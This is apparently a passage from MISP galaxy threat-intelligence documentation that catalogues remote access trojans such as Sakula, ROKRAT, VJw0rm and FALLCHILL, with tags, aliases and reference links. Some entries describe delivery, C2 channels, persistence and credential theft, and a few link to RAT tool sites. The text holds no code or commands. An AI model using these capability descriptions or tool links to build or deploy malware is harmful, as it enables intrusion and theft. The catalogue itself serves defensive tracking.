The tag is: misp-galaxy:rat="Char0n"

Nytro

The tag is: misp-galaxy:rat="Nytro"

Syla

The tag is: misp-galaxy:rat="Syla"

Table 8116. Table References

Links

http://www.connect-trojan.net/2013/07/syla-rat-0.3.html

Cobalt Strike

Cobalt Strike is software for Adversary Simulations and Red Team Operations.

The tag is: misp-galaxy:rat="Cobalt Strike"

View relationships graph

Cobalt Strike has relationships with:

- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 8117. Table References

Links

https://www.cobaltstrike.com/

Sakula

The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.
The tag is: misp-galaxy:rat="Sakula"

Sakula is also known as:

- Sakurel
- VIPER

View relationships graph

Sakula has relationships with:

- similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 8118. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/sakula-malware-family">https://www.secureworks.com/research/sakula-malware-family</a></td>
</tr>
</tbody>
</table>

**hcdLoader**

hcdLoader is a remote access tool (RAT) that has been used by APT18.

The tag is: misp-galaxy:rat="hcdLoader"

View relationships graph

hcdLoader has relationships with:

- similar: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="likely"

Table 8119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Software/S0071">https://attack.mitre.org/wiki/Software/S0071</a></td>
</tr>
</tbody>
</table>

**Crimson**

The tag is: misp-galaxy:rat="Crimson"

View relationships graph

Crimson has relationships with:

- similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-
• similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 8120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html">http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html</a></td>
</tr>
</tbody>
</table>

**KjW0rm**

The tag is: `misp-galaxy:rat="KjW0rm"`

View relationships graph

KjW0rm has relationships with:

• similar: misp-galaxy:tool="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 8121. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://hack-defender.blogspot.fr/2015/12/kjw0rm-v05x.html">http://hack-defender.blogspot.fr/2015/12/kjw0rm-v05x.html</a></td>
</tr>
</tbody>
</table>

**Ghost**

The tag is: `misp-galaxy:rat="Ghost"`

Ghost is also known as:

• Ucul

Table 8122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=xXZW4ajYykI">https://www.youtube.com/watch?v=xXZW4ajYykI</a></td>
</tr>
</tbody>
</table>

**9002**

The tag is: `misp-galaxy:rat="9002"`

**Sandro RAT**

The tag is: `misp-galaxy:rat="Sandro RAT"`
Mega

The tag is: `misp-galaxy:rat="Mega"`

WiRAT

The tag is: `misp-galaxy:rat="WiRAT"`

3PARA RAT

The tag is: `misp-galaxy:rat="3PARA RAT"`

View relationships graph

3PARA RAT has relationships with:

- similar: `misp-galaxy:mitre-malware="3PARA RAT - S0066"` with `estimative-language:likelihood-probability="likely"`

Table 8123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>https://books.google.fr/books?isbn=2212290136</code></td>
</tr>
</tbody>
</table>

BBS RAT

The tag is: `misp-galaxy:rat="BBS RAT"`

Konni

KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.

The tag is: `misp-galaxy:rat="Konni"`

Konni is also known as:

- KONNI

View relationships graph

Konni has relationships with:

- similar: `misp-galaxy:tool="KONNI"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Konni"` with `estimative-language:likelihood-probability="likely"

Table 8124. Table References
Links


Felismus RAT

Used by Sowbug

The tag is: *misp-galaxy:rat="Felismus RAT"*

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: *misp-galaxy:rat="Xsser"*

Xsser is also known as:

- mRAT

GovRAT

GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.
The tag is: misp-galaxy:rat="GovRAT"

View relationships graph

GovRAT has relationships with:

- similar: misp-galaxy:malpedia="GovRAT" with estimative-language:likelihood-probability="likely"

Table 8127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html">http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html</a></td>
</tr>
</tbody>
</table>

Rottie3

The tag is: misp-galaxy:rat="Rottie3"

Table 8128. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=jUg5%E2%80%9468Iqs">https://www.youtube.com/watch?v=jUg5—68Iqs</a></td>
</tr>
</tbody>
</table>

Killer RAT

The tag is: misp-galaxy:rat="Killer RAT"

Hi-Zor

The tag is: misp-galaxy:rat="Hi-Zor"

View relationships graph

Hi-Zor has relationships with:

- similar: misp-galaxy:mitre-malware="Hi-Zor - S0087" with estimative-language:likelihood-probability="likely"

Table 8129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat">https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat</a></td>
</tr>
</tbody>
</table>

Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of
grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: `misp-galaxy:rat="Quaverse"`

Quaverse is also known as:

- QRAT

Table 8130. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Heseber**

The tag is: `misp-galaxy:rat="Heseber"`

**Cardinal**

Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.

The tag is: `misp-galaxy:rat="Cardinal"`

View relationships graph

Cardinal has relationships with:

- similar: `misp-galaxy:tool="EVILNUM"` with `estimative-language:likelihood-probability="likely"`

Table 8131. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/">https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/</a></td>
</tr>
<tr>
<td><a href="https://www.scmagazine.com/cardinal-rats-unique-downloader-allowed-it-to-avoid-detection-for-years/article/651927/">https://www.scmagazine.com/cardinal-rats-unique-downloader-allowed-it-to-avoid-detection-for-years/article/651927/</a></td>
</tr>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal">https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/">https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/</a></td>
</tr>
</tbody>
</table>

**OmniRAT**

Works on all Android, Windows, Linux and Mac devices!
The tag is: misp-galaxy:rat="OmniRAT"

View relationships graph

OmniRAT has relationships with:

- similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"

Table 8132. Table References

Links

https://omnirat.eu/en/

Jfect

The tag is: misp-galaxy:rat="Jfect"

Table 8133. Table References

Links

https://www.youtube.com/watch?v=qKdoExQFb68

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed “the Seven Pointed Dagger,” managed by another group, “Group 27,” who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: misp-galaxy:rat="Trochilus"

View relationships graph

Trochilus has relationships with:

- similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

Table 8134. Table References

Links


Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

The tag is: misp-galaxy:rat="Matryoshka"

View relationships graph

Matryoshka has relationships with:

- similar: misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"

Table 8135. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazilian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.

The tag is: misp-galaxy:rat="Mangit"

Table 8136. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit">https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit</a></td>
</tr>
</tbody>
</table>
Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away. Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

Vjw0rm 0.1

“Vengeance Justice Worm” was first discovered in 2016 and is a highly multifunctional, modular, publicly available “commodity malware”, i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels.

VJw0rm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot.

VJw0rm is propagated primarily by malicious email attachments and by infecting removable storage devices.

Once executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removable drive is found, VJw0rm will infect it if configured to do so.

It will continue to gather victim information such as operating system details, user’s details, installed anti-virus product details, stored browser cookies, the presence of vbc.exe on the system (Microsoft’s .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor’s choice of additional malware delivery), and whether the system has been previously infected.
VJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities.

Finally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods.

The tag is: misp-galaxy:rat="vjw0rm 0.1"

vjw0rm 0.1 is also known as:

- Vengeance Justice Worm
- VJw0rm
- VJwOrm

Table 8139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en">https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape">https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape</a></td>
</tr>
</tbody>
</table>

**rokrat**

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hanguel Word Processor (HWP) document sent in spear phishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a subject line, "Request Help" and attached malicious HWP filename, "I'm a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

The tag is: misp-galaxy:rat="rokrat"

rokrat is also known as:

- ROKRAT
Qarallax

Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).

The tag is: misp-galaxy:rat="Qarallax"

Qarallax is also known as:

• qrat

View relationships graph

Qarallax has relationships with:

• similar: misp-galaxy:tool="qrat" with estimative-language:likelihood-probability="likely"

MoonWind

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.

The tag is: misp-galaxy:rat="MoonWind"

View relationships graph

MoonWind has relationships with:

• similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
Remcos

Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we've seen its payload being distributed in the wild for the first time.

The tag is: `misp-galaxy:rat="Remcos"`

Client Maximus

The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims' web navigation and interrupt online banking session at will. After taking over a victim's banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.

The tag is: `misp-galaxy:rat="Client Maximus"`
The Fat RAT

Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most...

The tag is: mish-galaxy:rat="TheFat RAT"

Table 8145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Screetsec/TheFatRat">https://github.com/Screetsec/TheFatRat</a></td>
</tr>
</tbody>
</table>

RedLeaves

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware 'RedLeaves'. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

The tag is: mish-galaxy:rat="RedLeaves"

View relationships graph

RedLeaves has relationships with:

- similar: mish-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: mish-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- similar: mish-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 8146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html">http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html</a></td>
</tr>
</tbody>
</table>

Rurktar

Dubbed Rurktar, the tool hasn't had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.

The tag is: mish-galaxy:rat="Rurktar"

View relationships graph
Rurktar has relationships with:

- similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"

Table 8147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RATAttack**

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

The tag is: *misp-galaxy:rat="RATAttack"*

Table 8148. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**KhRAT**

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forepoint here, KHRAT is a Trojan that registers victims using their infected machine's username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: *misp-galaxy:rat="KhRAT"*

Table 8149. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RevCode**

The tag is: *misp-galaxy:rat="RevCode"*
AhNyth Android

Android Remote Administration Tool

The tag is: `misp-galaxy:rat="AhNyth Android"`

Socket23

SOCKET23 was launched from his web site and immediately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’

The tag is: `misp-galaxy:rat="Socket23"`

PowerRAT

The tag is: `misp-galaxy:rat="PowerRAT"`

MacSpy

Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn't a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

The tag is: `misp-galaxy:rat="MacSpy"`
MacSpy has relationships with:

- similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"

**Table 8153. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service">https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

**DNSMessenger**

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

The tag is: *misp-galaxy:rat="DNSMessenger"*

**View relationships graph**

DNSMessenger has relationships with:

- similar: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

**Table 8154. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/03/dnsmessenger.html">http://blog.talosintelligence.com/2017/03/dnsmessenger.html</a></td>
</tr>
</tbody>
</table>

**PentagonRAT**

The tag is: *misp-galaxy:rat="PentagonRAT"*

**Table 8155. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://pentagon-rat.blogspot.fr/">http://pentagon-rat.blogspot.fr/</a></td>
</tr>
</tbody>
</table>
NewCore

NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCorr backdoor trojans.

The tag is: `misp-galaxy:rat="NewCore"

---

Deeper RAT

The tag is: `misp-galaxy:rat="Deeper RAT"

---

Xyligan

The tag is: `misp-galaxy:rat="Xyligan"

---

H-w0rm

The tag is: `misp-galaxy:rat="H-w0rm"

---

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —‘file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping
commands.

The tag is: `misp-galaxy:rat="htpRAT"`

View relationships graph

htpRAT has relationships with:

- similar: `misp-galaxy:malpedia="htpRAT"` with `estimative-language:likelihood-probability="likely"`

---

**FALLCHILL**

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

The tag is: `misp-galaxy:rat="FALLCHILL"`

View relationships graph

FALLCHILL has relationships with:

- similar: `misp-galaxy:mitre-malware="FALLCHILL - S0181"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Volgmer"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="Volgmer"` with `estimative-language:likelihood-probability="likely"

**Table 8157. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Table 8158. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318A">https://www.us-cert.gov/ncas/alerts/TA17-318A</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-applejeus/87553/">https://securelist.com/operation-applejeus/87553/</a></td>
</tr>
</tbody>
</table>
**UBoatRAT**

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry. Distributes malware through Google Drive. Obtains C2 address from GitHub. Uses Microsoft Windows Background Intelligent Transfer Service (BITs) to maintain persistence.

The tag is: *misp-galaxy:rat="UBoatRAT"*

**Table 8159. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**CrossRat**

The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool...which is able to target Windows, OSX, and Linux.”

The tag is: *misp-galaxy:rat="CrossRat"*

**Table 8160. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://digitasecurity.com/blog/2018/01/23/crossrat/">https://digitasecurity.com/blog/2018/01/23/crossrat/</a></td>
</tr>
</tbody>
</table>

**TSCookieRAT**

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

The tag is: *misp-galaxy:rat="TSCookieRAT"*

**Table 8161. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html">http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html</a></td>
</tr>
</tbody>
</table>
Coldroot

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it's rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: misp-galaxy:rat="Coldroot"

Comnie

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: misp-galaxy:rat="Comnie"

GravityRAT

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: misp-galaxy:rat="GravityRAT"
ARS VBS Loader

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".

The tag is: misp-galaxy:rat="ARS VBS Loader"

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: misp-galaxy:rat="RadRAT"

FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the
functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: `misp-galaxy:rat="FlawedAmmyy"`

View relationships graph

FlawedAmmyy has relationships with:

- similar: `misp-galaxy:malpedia="FlawedAmmyy"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="Truebot"` with `estimative-language:likelihood-probability="likely"

Table 8167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Spymaster Pro**

Monitoring Software

The tag is: `misp-galaxy:rat="Spymaster Pro"`

Table 8168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.spymasterpro.com/">https://www.spymasterpro.com/</a></td>
</tr>
<tr>
<td><a href="https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots">https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots</a></td>
</tr>
</tbody>
</table>

**NavRAT**

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email

The tag is: `misp-galaxy:rat="NavRAT"`

View relationships graph

NavRAT has relationships with:

- similar: `misp-galaxy:malpedia="NavRAT"` with `estimative-language:likelihood-probability="likely"`

Table 8169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Joanap

